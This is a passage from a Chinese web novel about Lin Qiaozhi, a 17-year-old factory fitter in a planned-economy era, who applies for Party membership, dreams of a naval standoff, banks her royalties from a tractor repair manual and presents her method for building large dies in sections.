如果没有长春自己研制的解放牌重载卡车,他们即使能做大型模具也运输不出去,不,准确的说,连原材料也许都运送不进来。除非仰赖高价进口,等着随时被人卡脖子,切断整个国家的重载运输线。 城东的仪器仪表厂,给工业人提供了精准了量具和仪器,才能让整个行业在精度上不断突破。 这些都是环环相扣的。 但凡缺一环,整条战线都可能崩溃、迟缓,无法寸进。 所以重工业发展起来,才如此艰难。 ——非举国之力不能及也。 林巧枝并没有丝毫舍不得的想法,也不心疼自己辛苦琢磨出来的法子,相反,她很高兴自己的经验,能帮助到工业战线的同志们。 能为重塑大国脊梁出上一份绵薄之力,在她春光明媚、前程似锦的十七岁。 王柏强听说了这事,还提醒道:“温厂长那边安排招待的,估计都得是挺重要的项目了,否则,不值得千里迢迢亲自带队跑到江城来。有的项目,可能都是进了组织备案的。光是体积大,就没几个能小觑的。" “我明白的。”林巧枝从未有哪一刻这么高兴自己清晰简明的表述能力,她第一次意识到,等她成长,配上那神奇的梦境,她会对工业战线产生何等大的影响力。 她无法给前来交流学习的单位打包票,但看着自己记录的点点滴滴的工作笔记,林巧枝对这次交流的信心,也是提高了不少。 她认真准备了起来,为即将到来的全国各地同行。 47、她要入党啦!!(2.6w营养液加更) 林巧枝很快把铣床问题解决了。 “林工,真的这么快就修好了?”三车间四班组的向组长一路小跑着过来,终于看到了林巧枝,气喘吁吁的捂着胸口,“我一听说修好,就第一时间赶过来了!”“没有这台铣床,我们班组的生产任务,进度已经落后一大截了,真是急死人。” 天知道他们平时用得多宝贝,因为知道这台铣床工龄已经不小了,可偏偏还是坏了! 人工做,哪里比得上铣床快? 林巧枝给它通了电源,又把自己操作台旁边装铁料的箱子用脚拉过来,示意向组长选一个:“试试就知道了。” 他选了一块方方的铁板,用老虎钳固定在铣床的操作台上。 铣床是什么呢? 大概可以理解为一个大号的超级电动卷笔刀——用来做旋转加工。铣床上的铣刀可以高速旋转,可以移动工作台(上固定了铁料),也可以移动铣刀,来加工铁料。就好像超级电动卷笔刀,既可以移动铅笔,也可以灵活操作刀片,就能加工出很多形状的铅笔。向组长固定好铁板。 “嗡——”地一声启动了铣床。铣刀刀头高速旋转,最前端甚至被卷出一个小小的白色气漩。 他熟练地“唰”切掉四个角,把方块四个角变成圆弧。 林巧枝:“这是要做点火开关标识牌?” “对,这里再铣出一个月牙形的凹槽就好了,”向组织指着方铁板的顶部说,“就是要卡进方向盘柱子的那个地方,晓得吧?”他说着,就飞快操作起来。 林巧枝早有准备,带上了护目镜,只见在“嗡滋……”的声音下,铁屑像是银色的雨点一样飞溅。 嗖嗖两下,一个不需要太高精度的点火开关标识牌就做好了。 林巧枝再一次明白,啥叫“慢钳工”了。 这就嗖嗖两下的时间,还不够她打磨抛光一个角呢。 林巧枝把游标卡尺递给他:“测测精度。” 向组长用手指指肚摸了摸那个月牙凹槽,咧开嘴笑:“不用不用,我干这个好多年了,手一摸就知道你修好没!” “林工,真的解了我们燃眉之急,你是这个。”向组长给她竖了个大拇指,然后关掉电源,做好安全保护,就火急火燎去借叉车,要把这台铣床运回他们车间了!!向组长欢天喜地的用叉车运着铣床走了。 林巧枝拿着他签过字的工作单,去提交了任务。 “王工打招呼了,这两天就不给你安排别的紧急任务了。”对方在本子上登记着。 林巧枝:“要是有关于新款丘陵山地拖拉机的,也可以找我。” “行,不过这款还新,暂时没什么问题反馈回厂,我帮你注意着。”交完了活。林巧枝又去车间旁边那间会议室。深秋的阳光洒进来,照着红木色的桌子,林巧枝把工作记录本摊开。里面是整理得差不多的分体研制工作笔记。还有一张独特的申请表。林巧枝先好好的把申请表放在一边,拿自己的本子先写草稿。才扒开钢笔帽,在草稿纸上划了两下,她发现字上有拖着一丝丝的东西。抬起钢笔一看,上面有一根细毛。林巧枝伸手捏住,一揪!再写就顺畅了,也不拖墨。准备好纸、笔、墨。 林巧枝吸了一口气,又缓缓吐出,来回几次,才压抑住胸膛里怦怦直跳。心里那种期待、紧张、兴奋交织的微妙滋味,实在难以言喻。平日里操控锉刀精度能达到5丝的手,今天握起笔来,竟激动得有些微微颤抖。 林巧枝缓了好一会儿,才落笔写。 【敬爱的党组织:】 【在毛主席思想的光辉照耀下,在工业学大庆、农业学大寨的号角声中,我怀着无比激动的心情,郑重地向党组织递交我的入党申请书。】【作为红旗农械厂模具钳工班组的一员,我亲眼见证了祖国工业从一穷二白,到自力更生的壮丽征程……决心心将毕生精力献给党领导的社会主义建设事业!】…… 【此后征程漫漫,誓与工业战线的同志,于艰难困苦中,肝胆相照,携手共进,为民族工业振兴的伟大征程而奋斗终生。】 【申请人:林巧枝】 这份初稿挥笔即成。 没有挠头叹气,也没有卡顿反复,是少年一颗真心跳动,撞击着热乎乎的胸膛。林巧枝摸了摸心口,能清晰感觉到“咚…咚……咚!”地声音和跳动感。她吹了吹墨水,拿起来检查。又伏案在桌上,仔细斟酌修改,几遍之后,才终于满意地搁下笔。她站起来,跺了跺脚,又扭了扭脖子和腰。确保自己状态非常好,她才重新坐下,专注地誉写到申请书上。入党申请书写好了。林巧枝的目光游移到介绍人签字那一栏。她把东西收好,装进她的军绿色挎包里,背起就往厂里办公楼的方向跑。 “诶~林工,来我们这儿做准备的吗?”负责和厂办一起组织交流会的杜主任远远地跟她热情打招呼。 林巧枝恍若未闻。 她径直跑到了从小最熟悉的那间办公室。 脚步蓦然停在门口,看到了里面在指导年轻干事工作的孟主任。 看这间办公室墙面上她熟悉的每个人物、每个故事,每张报纸。 看小巧枝曾经待过的每个角落——墙角被她扣掉的墙皮,因为打架太凶太狠被罚站过的角落,柜子里无数次涂到她身上的红药水,饿肚子在这里吃饭坐过的小木凳……看了很久。 “孟主任,林工来了。”许干事抬头看到她,提醒孟主任。 孟主任回头,看到她:"巧枝?" 她放下手里文件,笑道:“怎么和小时候一样冒傻气,也不喊人,就在门口站着。” 倒是没有小时候倔气了。 林巧枝忽而一笑,眼眶晶莹,她伸出手道:“那您也像小时候一样牵我进去。” “你这是冒哪一年的傻气呢?”孟主任好笑,还是去握住林巧枝的手,拉她进来。 就好像曾经无数次,年轻的她走出门来,弯腰牵着尚矮小的小巧枝的手,"走,跟孟主任进来吃点东西/涂药/说说你受什么委屈啦?" 这里是她的童年。 是她童年最珍贵的宝藏。 也是她冒出新芽,长出意志和心气的地方。 她深吸一口气,平复情绪,把挎包里的本子掏出来,取出里面夹得好好的那张入党申请书,双手递给孟主任。 她黑白分明的眸子里写满期待,语气认真:“孟主任,你可以做我的入党介绍人吗?” 孟主任,是她真正的引路人啊。 如果没有生在红旗厂,而是自幼长在乡下,她此刻会是什么样子呢?含羞带怯的听着长辈给她介绍对象,期盼着未来对她好的男人吗?还是已经嫁出去用彩礼补贴弟弟娶媳妇呢?或是在不久的未来,被繁杂的家务活逼得使唤孩子,下意识使唤那个晓得懂事,晓得心疼妈妈的小女孩? 她不愿去想。 “当然可以。”这可是她看着长大的小孩,孟主任看她的入党申请书,笑道,“我们巧枝志向远大啊,以后肯定是咱们红旗厂的顶梁柱。”她签下自己的名字。 林巧枝粲然一笑,上前抱住孟主任,眼里渗出一点婆娑泪意:“妇女能顶半边天,管叫山河换新颜。” 她也有自己的山河了。 她松开孟主任,扬起笑容:"我也一定会让我的山河,换上新颜的。" 孟主任看着她,心里说不出是什么滋味,好像胸膛里塞了一个气球,气鼓得满满当当。 *** 林巧枝又跑去找王柏强。 她也是领到了申请表,才知道入党介绍人需要两个,还得是老党员。 亏她之前还在犹豫,怎么拒绝温厂长他们才好。 剩下的这个介绍人签字,她在脑海里一转,就想找王柏强。 尽管温厂长主动说愿意做她的介绍人,路工也是她的偶像。 但王柏强这一路对她的照看和教导,她都记在心里。 "王工!"林巧枝把入党申请书往王柏强面前一放,规矩的站在椅子旁边,垂手立好。王柏强看到那句“为中国工业振兴而奋斗”,侧头看了她一眼。林巧枝冲他一笑。王柏强在介绍人那一栏签字,同时说:“我这两天了解到,上海齿轮厂已有加工‘螺旋锥齿轮’的能力了。” 林巧枝眼睛猛地一亮!! 她设计的四轮等大的新款拖拉机,要重新设计分动箱齿轮组,确保四轮扭矩分配。 而螺旋锥齿轮,重叠系数大、承载能力强、传动比高,是目前能非常完美实现她设计的齿轮! 甚至有了这齿轮,她还能再优化设计!! “有相关资料和数据吗?”林巧枝急忙从旁边拉了一把椅子,把王工往旁边挤挤,焦急坐下,从包里掏出一个本,哗哗翻到其中一页。她指着自己设计的四驱拖拉机的中央传动布局图纸,拿着铅笔在上面时不时添两笔,和王柏强讨论了起来。 平常拖拉机前小后大,是为了牵引力。 但丘陵山地拖拉机,需要的是重心平衡,得在前后、左右、倾斜到25-30度的斜坡上都不侧翻。 四轮等大就是为了这个! 王柏强和她交流了一番最新得到的螺旋锥齿轮的消息。 林巧枝看着精进一大步的图纸。 她忽然发现,这一次的交流会,不仅是各地同行来学习她的分体研制经验。 与这么多不同领域的同行交流,显然对她研究设计的新拖拉机,也是非常大的助力! 林巧枝一整天都处于亢奋的状态。 递交了入党申请书。 她兴奋的跑到宁珍珠家,亮嗓一声大笑:“珍珠!!” 又高兴地跑过去,激动地一把抱起她,兴奋的转了好几圈。 “啊啊啊啊——” 她要入党啦!!! 林巧枝难得精神亢奋得睡不着觉,在被窝里跟珍珠咬耳朵。 聊入党。 聊梦想。 聊珍珠要在供销社转正了,再稳定一段时间,就能找机会换工作了。 聊她们在历史课上听过的江南造船厂,那些长江要塞沉船,聊长江大抢运,聊那些有关长江航线的激战。 直到深夜,两个兴奋不已的年轻女孩才沉沉睡去。 林巧枝难得给自己放了个假。 她去看漂亮妖精姐姐了。 在梦中睁开眼。 “妈妈,你别怕,爸爸不在我保护你!” 当初那个哭嚎着嚷“呜哇——你是后妈!!”的小男孩已经长高一截,他站在床上,披着被单,手里举着小木剑,挺起小胸膛。 "轰隆——" 一声电闪雷鸣。 林巧枝往外一看,外面竟然乌云滚滚,大风吹打着小院里的杂物。 听起来,漂亮妖精姐姐相亲嫁的那个军官,是去执行紧急任务去了。 夜里长。小孩终于是被忽悠着睡着了。 漂亮咸鱼给他盖好了被子,低低叹息一声:“傻小子,我怎么可能不担心,这可是□□时,陆炮上舰的海军啊。” 林巧枝就坐在旁边的椅子上,托着腮,她也有点为漂亮妖精姐姐担心。 她知道相处这么久,漂亮妖精姐姐已经和那个军官感情很好了。 可当听到漂亮妖精姐姐说的话时。 林巧枝还是错愕转头,猛然站起来。 什么叫“陆炮上舰”? 把陆军的炮,拉到海军的船上去御敌吗? 那得是被逼到什么程度了!! 她脑子里好像被什么咔嚓一声生生劈下。 她看了那么多梦里的漂亮女孩去海岛随军,除了山沟沟就是海岛,但她竟完全没有想到过别的!!她忽地惊觉,在梦里,她就是会不由自主跟随漂亮女孩的视角走,除非最初就意志坚定,有非常想去的地方,否则很难脱离。就好像磁粉被磁铁吸引在周围,一入梦就被牵引在那些鲜活有故事发生的地方。海岛随军。 海岛随军!!难道仅仅是一对夫妻相聚在一起吗?有海岛,有军人啊,还会有什么呢?林巧枝呼吸倏然急促起来。她疾步朝着外面跑去。 风雨夜里,她在泥泞的路上迈开步子大步飞奔,远远看到海面上巨大的轮廓。 48、北方市场 梦里。 林巧枝登舰。 她于人群中搜索。 找到了那个漂亮妖精姐姐随军嫁的军官。 让她错愕的是,他好像也变成了假人。 那个在漂亮姐姐身边,鲜活的、沉稳可靠的、还会私下服软的、低声求着漂亮姐姐涩涩的男人。 好像在离开了漂亮妖精姐姐之后,也融入了世界背景板,成为了故事笔墨没有触及到的默默运行部分。 风浪有点大。 船也很颠簸。 若非林巧枝自幼在长江流域长大,坐惯了船和划子,怕是会晕船。 “报告舰长!主动声呐在78链(约14.4公里)外捕捉到金属回波!” “方位275,航向……”有人冲进舱门,带着一股咸湿的海风:“柴油机组全负荷运转,航速勉强提到26节!”“对方开启声呐照射!”声呐兵脸色带怒。 …… 这是他们的领海! 有人却仿若无人的进出!! 甚至像在逛自家的后花园。 亲眼目睹这一切,林巧枝咬着牙,呼吸都重了一些,有种说不清的情绪堆积在胸膛,好像要烧起来。 这样高度警戒的状态一直持续到后半夜。 没有任何开火的迹象。 眼看对方等到天亮又要一掉头,高傲洋洋地离开,作战参谋扯扯风纪扣,双手猛地撑住海图桌,爆了一句粗口。 林巧枝研究了一圈回来,刚好听到这句粗口。 她深吸一口气。 看了一眼铅笔尖在透明海图上拉出的歪扭轨迹。大约6海里的距离。 十二公里左右。 她胸腔堆积的情绪,“嘭”地一声炸开,火势汹汹,烧出一个极具有少年莽撞和冲动的想法。 ——不如游过去看看! 你敢洋洋得意的来,难道还真想拍拍屁股哄笑着离开,总得付出点代价,留下点东西。 这个想法一旦冒出来。 就再也压不下去了! 自家的还有机会看,可对方的就不一定了。 即使她还有那么多“海岛随军”的梦,可按照她做梦的经验,大多都是养娃、做美食、处男人,还能有几个紧急任务?又还能是对面这艘吗?她此刻真恨不得自己是船舶军工方面的专家,只去一趟,就能把对方的技术精髓全部都看透了。 把我们的领海当后花园,那就把技术都留下来!! “噗——” 在所有人都看不到的地方,有个虚影纵身跃入海水。 后半夜风雨渐停。 也算好游。 江城人擅水,没有不会游泳的! 有横渡长江的经验和体力,有胸腔里那股火烧一样的情绪,即使是两倍于横渡长江的距离,少年人也丝毫感觉不到疲惫。风浪都好像在助她。 一波波浪花把她往前推。 只有咸腥的海水和海风,尝到嘴里有些发涩发苦。 * 清晨。 在宿舍里,林巧枝猛地睁开眼。 她深吸一口气,松开攥紧的拳头。 又缓缓吐出胸口里杂乱的浊气,鼻尖好像还能闻到那股咸湿的味道。 那种震撼的感觉迟迟不散,她好像有点明白为什么漂亮鱼妖姐姐会说“陆炮上舰”这个词了。 倘若日后真的面对这样强敌。 没有万吨巨舰,没有远程导弹,甚至连一艘现代化大型驱逐舰都没有,还能怎么办? 当然只能求助陆军老大哥。 林巧枝甚至都能想到,装备紧急临时上船,船上摇晃,可能只能用铁链一类的东西焊接固定、捆绑固定。 瞄不准,打不远,只能抵近了打。 她气得一口咬住被子。 啊啊啊啊!! 好气好气好气好气!! 她气得在床上像是大黑鱼一样扑腾两圈,不甘心地往枕头下伸手。 又恶狠狠地摸出一个本子。 直接翻到后面空白页。 林巧枝以为自己会忘掉的。 就好像无数次出梦境后逐渐淡忘的细节和技术。 那场因为一个念头,奔赴十二公里外的游袭,不过是年轻气盛咽不下一口气的莽撞和赌气。 但出乎意料的,她竟然还记得一些。 趴在床上的林巧枝,眼睛都睁大了一圈。 她握着短短的铅笔。 赶紧在这个小本的空白页,唰唰地记录起来。 很快,一个工业制图里标准的图纸就落在纸上,隐隐能看出,这是一艘船的轮廓。 却又不太像是寻常的船。 林巧枝合上本子,翻身看着天花板,闭着眼努力回忆更多细节。 为什么是这样的弧度? 为什么选择这样的材质? 为什么是高干舷? 为什么舰艇长宽比突破10了? 是为了细长的形状,来追求更高的速度和性能吗?最高速度又能达到多少节? 还有那个主桅顶部的,对空对海搜索的雷达! 林巧枝越琢磨越发现,她这些年在江城看过的数不胜数、各式各样的货船、轮船,洋船……原来早已经不知不觉融入了骨子里。就好像北方人会做馒头。 湖南人会做剁椒酱,江城人没有谁不懂热干面、不会游泳一样。 处于这个环境,经年累月的看它、见它,对它习以为常,数十年如一日无形的熏陶,有些东西就融进骨子里了。 她对船舶并不是一无所知,更别说,她还学过机械原理,机械传动技术,金属物理,材料学这些课程。 她好像真的截留下来一些!! 十二公里的长距离海上奔袭,尽管是莽撞和冲动的置气。 但有好的结果! 意料之外的好结果!! 在早上刷牙的时候,林巧枝都在哼着歌:“我们的队伍向太阳,脚踏着祖国的大地,背负着民族的希望。” “我们是一支不可战胜的力量,我们是工农的子弟,我们是人民的武装……”* “林工,心情不错啊!” “对喽!” 林巧枝风风火火洗漱完,到了厂里,想了又想。 最终,她把枕头下小本上的那个图纸,转誉到记录了分体研制工作笔记的那个牛皮本的后面。 距离分体研制的内容不远。 如果看入了迷,往后多翻两页就能看到。 *** 北方某县城。 《红旗牌拖拉机速查速修百问百答》不知怎么流传到了这里。 北方本土供销社、报社报刊亭等渠道,其实并没有铺设《红旗》这本书,因为红旗农械厂的拖拉机并没有卖到这里。这里是北方两位老大哥的地盘。 长春拖拉机厂和天津拖拉机厂是雄踞北方的拖拉机龙头厂。在“中国三铁牛”中,他们才是资历更老,技术更高的大哥级存在。供销社自然不会采购,也不会在北方这片市场制定计划。但有时候吧,普通人民群众是不管什么龙头不龙头的。而且只要人有流动,很多信息都是会相互传递的。在一辆辆南来北往运行着的火车中。这些搭乘火车来去的人,自然将南方火热的《红旗》带了回去。 有的直接带回去了书。 有的听说了有这样一本好书,教维修拖拉机的,写得特别好,简单又好懂。等回到了家乡,自然就想去打听一下,于是去了供销社。 结果跑到供销社一问,没有! “怎么会没有?”见供销社的销售员感觉像是随口敷衍的样子,“就是那个修拖拉机的,都说写得特别好。有好多生产大队买了,就把大队里拖拉机的小毛病给解决了。” “对了,好像还有一个河南适用版!” 他这一趟去南方办事,听到好几回了,提到的人都赞不绝口,这得是有多好用?见供销社实在是买不到,没办法,他又跑去报刊亭、县里图书馆之类的地方。 供销社被问得多了,也知道了这么一本书、有的供销社主任一打听,那是南方用的拖拉机,跟咱们北边没关系,就没有理会。有的供销社也没管那么多,有群众要,有这个需求,那就顺手弄一批来呗。 不多,但有。 很快就卖出去了。 很多人也不管什么红旗牌不红旗牌,听到别人说写得好,好懂好学好用,就跑去打听,然后看到目录——“我们村拖拉机也有这个问题啊!”为自家拖拉机小毛病恼火又头疼的。 买回去一试,哎呦,有用! 热情豪爽的北方人可不兴藏着掖着,逮着人都得唠两句,再嘚瑟两句他们村自己修好了拖拉机。 消息很快就在村村之间口口相传。 类似的场面,在辽阔的北方土地上四处冒头,然后遍地开花。 柴主编以为加印过,应该一时就不需要担心了,毕竟再怎么说,这也是一本技术类书籍,和教科书、文学作品那些受众没法比,能在南方各地农村都听说这本书、见到这本书,就属非常畅销了。 没想到因为北方市场忽然插进来这一脚,直接大大带动了《红旗》的销量,即使是八万册加印,南北两大市场在快速消化,一下就消化完了。 不仅是是出版社和供销社了,连红旗厂这边都没想到,这本书的销量会这么好。 听到出版社紧急联系,说起北方市场和再加印的事,红旗厂内众人的第一反应也是,“北方市场?他们买我们的拖拉机维修书干啥?” 厂办干事没忍住拿起一本看了下。 书名是《红旗牌拖拉机…》没错啊! 再往下看,也是写的【红旗农械厂推荐出版】 等翻开封面,作者的名字写的是林巧枝,后面第二排开始一列人,前面打头的是“技术支持:”,这些名字后面,也明明白白写了【红旗农械厂工人联合出品】还是路锋看了看书,把书往桌上一放,身体往椅子后靠:“其实也不是没道理。” 会上,大伙儿看向他。 路锋道:“咱们的拖拉机技术,本来就脱胎于北方,很多核心的东西,即使迭代过,根子上也是一样的。” 如果用金庸武侠的说法,那叫同根同源,师出一门。 路锋指着其中一个问题:“比如这个飞车'',长期处于半联合状态,就容易出现这个问题,北边造的那一套也一样。” 显然,在这件事上,他是最具有发言权的。 这一说,就给大伙说得面面相觑了。 就是吧,想到北方拖拉机的两位老大哥,被他们红旗厂这个小老弟,悄无声息的偷了家,怎么就有点止不住的偷乐? 温东鸣乐得一翘眉毛,玩笑说:“你们说,北边的兄弟单位,现在会不会也在开会说这事?” 还真被温东鸣给猜对了! 因为想买的人多,但流通、供给到北方市场的书少,所以很多生产大队,就写信给当年采购拖拉机的厂家。 信件杂七杂八,问题主要有三种。 第一种:您瞅瞅,这书能用不,咱拖拉机也能这样修不?我看着还挺靠谱! 第二种:怎么只有红旗牌的,看看人家,看看人家南方的拖拉机多享福,咱争点气,能不能也出一本! 第三种:听说你们和红旗牌拖拉机那边是熟悉的兄弟单位,能不能找他们采购一批?供销社说抢不到,等不到分配,兄弟单位应该有些面子吧?总之吧。 每一种都让两个北方老大哥,看得不得劲。 红旗牌拖拉机,那是他们支援帮扶发展起来的小老弟! 怎么还骑到他们头上了呢? 最气人就要数最后一种,什么叫“兄弟单位应该有些面子吧?” 说的好像他们要托关系靠着面子,才能让红旗厂分一批维修书给他们一样!! 气煞人也! 龚厂长气得鼻孔翕动,他这个强硬脾气哪里忍得住,拍桌道:“都是怎么做工作的!!这要是抗战时期,是不是战壕怎么挖的都全都被摸干净了?” 阵地全都被渗透了!! “李大为,你们说!” 被点名的负责市场这一块的李大为:“…” 哑口无言。 这还真不怪他被骂。 他们老早就听人说过有这本书了,但是因为各种原因,没有重视起来。 龚厂长把该点名的点名完,然后拍了拍放在会议桌上的《红旗》:“不争馒头争口气,他们红旗厂能写出来,咱们就写不出来了?” “写!”他们也写!两个拖拉机厂都不需要合计,输人不输阵,不约而同地都选择了自己也写一本!修个拖拉机而已,谁还不会写了! ***红旗厂。 林巧枝被通知去领钱了。 出版社那边的钱汇款过来,财务科的人对她说:“目前是一共到账两笔,一笔425,一笔87.5。” 那就是五百多了!! 林巧枝高兴地领了钱,仔细地放在衣服内兜里。 然后带着身份证、工作证还有钱,骑上从家属院王奶奶家借的自行车,就直奔银行了! 虽然她还没有到十八岁,但他们江城这边,每一个正式编制的工人,在办理手续的时候,都是要把身份证一起办了的。这时候身份证都还是手写的,手写完盖好章,再加一个塑封。 一般来说是要用户口本,可她不想用。 如果用了户口本作为凭据,之后取款的时候,用户口本+存折,也是能取到款的。 她的户口,还和家里的在一起。 林巧枝把自行车骑得飞快,自从知道这笔钱之后,她除了琢磨可以添置点什么,就是看了好多次银行的位置!工商银行距离红旗厂最近,但林巧枝没去这家,而是去得稍微远一点的那家农业银行。 这银行也不大,尤其是对比红旗厂来说,看着就是一个一层小门脸。 里面有四个窗口。 除了今天领到的两笔钱,林巧枝还存了一些工资,三笔钱加在一起有657元,林巧枝把57元留下花,决定存一个六百元的整数。银行窗口的工作人员看到她要存的钱,都没忍住抬头看她,看到她这么年轻一个小姑娘,居然要一口气存600块钱,真的有点不敢相信。 毕竟这会儿,连最让人羡慕的工人,很多一个月工资就二三十,还要养活一大家子人。别说600元了,多少家庭一个月抠抠搜搜下来,都不一定能存下几块钱,还都是从嘴里扣的。 但林巧枝出具了红旗厂开的证明。 还有她的工作证。 看到她工作证上的“三级钳工”,还有单位奖金的凭条。 窗口人员也是松了口气,压着心里的震惊给林巧枝办理存款业 务,给她介绍利率,最后把办好的存折递给林巧枝,还没忍住提醒:“存折一定要保管好了。”倒不是说怕丢了,银行就不认了。 但是这年头,身份证工作证上的照片都是黑白的,也不是特别清晰,别的人如果拿到身份证和存折两样凭证,再找一 个长得像一点的人,也有可能成功取走存折里的钱的。 林巧枝当然明白。 但她也不可能把这么多钱放在宿舍,她们宿舍还好,但隔壁宿舍就有人丢过钱,还大吵了一架,弄得她那几天,感觉钱放哪里都不安心,只好随身带着。但随身带太多钱,又怕掉了,耽误工作。 林巧枝将存折收起来:“我肯定保存好。” 说是这么说。 但真回到宿舍,她又觉得这个600巨款的存折,放哪里都不安全了。 主要是现在大家都知道她有钱了。 毕竟出版书有奖金这事,涉及的人也不少,很难真的瞒住。 虽然不知道具体是多少,但是她一个人,工资高,还有奖金拿,都能想到她应该是小有积蓄的。 按照某些人“吃食堂,住宿舍,岂不是可以把所有钱都攒下来”的想法,不算奖金她都挺宽裕了。 林巧枝最终还是只能把存折藏在柜子里,起码有个锁,对比起来安全一些。 她不可避免地再次产生那个念头:要是能有一间属于自己的房就好了。 在林巧枝的喜悦和淡淡的担忧中,各地对技术渴望的同行们,都陆续到了江城。 “其实本来有些厂可以来得更早一些的,但咱们定了交流会的时间,肯定还是要照顾那些距离远的兄弟单位,而且还有一些政审工作。”温东鸣同林巧枝说,两人一同走去食堂。 林巧枝点笑笑:“也给了我不少准备时间嘛,要不面对这么多前辈,没准备多紧张?” “等会儿我给你介绍一下,等明后两天正式开交流会了,王工再带你认识几个技术上的同行,圈子就打开了,咱们这行,多认识几个人没坏处。”你有困难找找我,我有困难又找找你,私人的关系,甭管是朋友,还是互利互惠两个臭皮匠,甚至抱大腿,总归比不认识走正经渠道联系来的简单舒服,快速高效。温东鸣语气很是客气地这样表示,好像是要把自家后辈引荐给大家的样子。 但真到了食堂,林巧枝觉得好像不是这么回事。 才一进食堂,遇到第一群在游荡觅食的来客,温东鸣就以迅雷不及掩耳之速,迎上去就道:“老王,你不是要做大型冲压模具吗,我家分体研制的核心可给你带来了。” “我们正聊着呢,我还琢磨,你真能忍得住把人藏到明天正式交流会才怪了。”王国伟他们确实正在聊林巧枝,因为到了红旗厂,到了江城这地界,才发现人好像真的有点了不得,这一条条的都是她的战绩。 温东鸣高兴得哈哈笑着,笑得话都说不出来了。 “一把年纪了,又不是小年轻了,你可别笑岔了气。”王国伟没好气,“别光顾着笑,可不是奔着你这厚脸皮来的。” 温东鸣笑声微停,得意地嘴角却翘得更高:“你这是嫉妒!”又不理他,先给林巧枝介绍,“这是第一重型机器厂的王厂长,他们厂承担很多大型工业设备的生产任务。” 林巧枝上前半步:“久仰大名。” “这可不兴久仰大名,这次我们可是抱着学习的态度来的,想要突破重型模具技术瓶颈啊!”王国伟笑呵呵地和林巧枝握手。又简单聊了几句,温东鸣又就招呼他们去吃饭,还给介绍了几个窗口的菜,“肯定合你们胃口。” 紧接着。 是一家汽车厂,这种汽车厂对大型冲压模具有高度依赖的。 温东鸣同她低声说:“大型模具分体研制这个技术,最对他们的胃口。他们真用上了,不仅可以提升生产效率,还能大大降低成本,又方便运输。”“我知道,尤其是他们的车壳体,车身覆盖件模具。”林巧枝小声问,“他们是不是可有钱了?” 一辆汽车那么贵呢! 紧接着还有钢铁厂,三线建设厂,江南造船厂……来的人真的很多。林巧枝在见到江南造船厂的计剑锋厂长时。心里不免想到她记在工作笔记里的图纸。 计剑锋这一群带队领导,还有技术工人,在看到林巧枝的真人时,心里也是受到不小的冲击。 尽管早就知道,林巧枝是个十七岁的年轻人。 但知道是一回事,没见到本人之前,不是没有那种真切感吗?从她推动落地的20吨大型模具来看,标准非常高,每一步制作工艺都极其严格,还有缜密大胆的分体研制方案,真的很难把这一切都和十七岁的年轻小姑娘联系到一起。 十七岁的小姑娘啊! 他们不免回忆了一下,自己十七岁的时候在干什么?嗯……做人还是不能攀比。 49、分体研制技术交流会 翌日。 林巧枝从侧门走进交流会现场,这间红旗厂自用的礼堂已经显得有些拥挤了。 来自各地的机械制造同行,各个厂带队的领导,还有红旗厂的主持人员,甚至还有些红旗厂本厂自己的高工带学生来凑热闹,以至于将本还算宽敞礼堂挤得有点像公交车了。主席台上,事先准备好的话筒,从电影院借来的电影放映设备,正有人在调试。 以免等会儿使用的时候出错。 而台下。 人头攒动,这并不是因为林巧枝名气大地位高,或是别的,而是大型模具分体研制方案,确实受众非常广。 除了第一重型机器厂、汽车厂这种显而易见对大型模具技术需求迫切的。 像是钢铁行业,他们的高炉、轧机等设备都需要使用大型铸件模具。 又或是三线建设的军工单位,他们常常面临着高强度的技术封锁,比红旗厂这种民用机械突破起来,更是难上加难。 即使是江南造船厂,也不完全是为了万吨水压机而来,在船舶制造业,分体技术对船体组装的灵活性和精度,也有非常重要的意义。 20吨重模具首次分体研制的突破,放在任何一个制造厂,都是不能忽视的存在。 “只有10吨的天车,就敢想20吨的模具,还是年轻人胆子大,有闯劲。”早早来到前排落座的王国伟往椅子后靠了靠,作为第一重型机器厂这么强势的单位,在今天这 个场子里,他们也算是相当有资历有战绩的。 “要不怎么说年轻气盛呢?”旁边几个单位带队领导都笑了。 也有昨天被温东鸣“客气”到的人,此刻面皮跳动地笑笑:“温东鸣那家伙得意的样子,弄不好,她就是红旗厂未来的接班人。” “这还年轻吧?” “那可不一定,你瞧温东鸣那嘴脸,指不定哪天他这宝贝疙瘩苗就被直接连根挖走,叫他嘚瑟!” 这话一出,周围几人都笑出了声: “我看是你眼馋,想捞到自家碗里吧。” “我看过她做的那个20吨模具成品,细节和设计真的牛,这年轻人不简单的。” 时间很快到了八点半。 林巧枝平心静气地往主席台上走,一边在桌上摆开她准备的分享稿,一边试了试话筒。看着这满交流会会场的人,她心里倏然有种非常不同的感觉。这里就座的男女比例大得惊人。但她闯进来了。 门口。 受邀来做采访的记者,在交流会正式开始前,要离开了。 几名记者里,钟晴在踏上台阶,准备出门时,不知怎么的,忽然回头看了一眼。 只这一看。 她就下意识抬起胸口的黑色海鸥牌照相机,对准林巧枝站着的主席台,拍摄了一张能覆盖全场背影的照片。 "咔嚓——" 她拍完地一瞬间,报社人的职业素养,就让她脑海里就浮现“工业殿堂”“人类群星闪耀”等振奋人心字眼。 而她所期待的那位勇敢女孩、真的如冉冉升起的朝阳,此刻尤为光亮。 大门缓缓合上。 林巧枝在准备好后,走到旁边,朝台下微微鞠躬示意,然后开始了正式的技术分享:“各位前辈、各位高工、各位工业战线的同志们早上好。” “我是林巧枝,今天代表红旗厂,给大家分享一下我们前不久完成的20吨大型模具制作经验,我们称它为‘大型模具分体研制技术'',而我今天给大家分享的,就是针对这一技术的个人经验和想法。” 说到这里,放映电影设备的老式幕布上,出现了20吨重模具最后完全合体的照片,还有一件件合体之前拆分的所有模具的照片。 这种内部资料,通常是不会对外公开的,之前大家自然也都没见过,更不知道大型模具内里细节。 故而,林巧枝把这照片放出来,直接就牢牢的吸引住了所有人的目光。 台上讲课,有时候是需要技巧,才能吸引得了大家注意力的,但有些人讲课,只需要有足够硬的技术。 怎么拆分的?怎么克服松动的风险?怎么突破那么多行业认知的? 别人都一整块做,你一个人把整块模具拆开做,这就是打破行业默认惯例了。 迎着台下大量灼热的目光,准备多日的林巧枝不慌不忙地继续做陈述:“咱们从苏联援建时期引入的技术书籍,包括苏联经验,都强调‘整体结构刚性最优'',认为分体接缝必然成为应力集中点。" 林巧枝的展示做得比较直接,多是简单直接的图片,照片。 她列举出四个比较严重的问题。 工期延误率,失误率,材料利用率,运输负荷。 “虽然分体研制会面临不少问题,但其实我们在整体制件的过程中,依旧吃过不少亏。” 